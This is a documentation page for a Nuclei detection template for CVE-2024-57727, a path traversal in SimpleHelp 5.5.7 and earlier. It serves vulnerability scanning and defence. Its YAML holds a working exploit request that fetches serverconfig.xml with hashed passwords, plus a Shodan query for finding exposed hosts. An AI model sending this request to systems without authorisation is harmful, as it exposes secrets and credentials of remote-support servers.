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SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal

ID: CVE-2024-57727

Severity: high

Author: iamnoooob,rootxharsh,pdresearch,3th1cyuk1

Tags: cvec,cve2024,simplehelp,lfi,kev

Description

Section titled “Description”

SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.

YAML Source

Section titled “YAML Source”
id: CVE-2024-57727


info:
  name: SimpleHelp <= 5.5.7 - Unauthenticated Path Traversal
  author: iamnoooob,rootxharsh,pdresearch,3th1cyuk1
  severity: high
  description: |
    SimpleHelp remote support software v5.5.7 and before is vulnerable to multiple path traversal vulnerabilities that enable unauthenticated remote attackers to download arbitrary files from the SimpleHelp host via crafted HTTP requests. These files include server configuration files containing various secrets and hashed user passwords.
  reference:
    - https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier
    - https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-57727
    cwe-id: CWE-22
    epss-score: 0.0009
    epss-percentile: 0.401
    cpe: cpe:2.3:a:simple-help:simplehelp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: simple-help
    product: simplehelp
    shodan-query: html:"SimpleHelp"
  tags: cvec,cve2024,simplehelp,lfi,kev


http:
  - raw:
      - |
        GET /toolbox-resource/../serverconfig.xml HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<SimpleSuite'
          - '<HashPassword>'
        condition: and


      - type: word
        part: content_type
        words:
          - 'application/octet-stream'
# digest: 4b0a00483046022100f65b615ea4c1f3073544e79481f792e898fff6f23dec1383f49246f18d672911022100bbe0620ef06664a7b770b1c04e36dc8e186c6c01b452809d1ff673646dc1046f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-57727.yaml"

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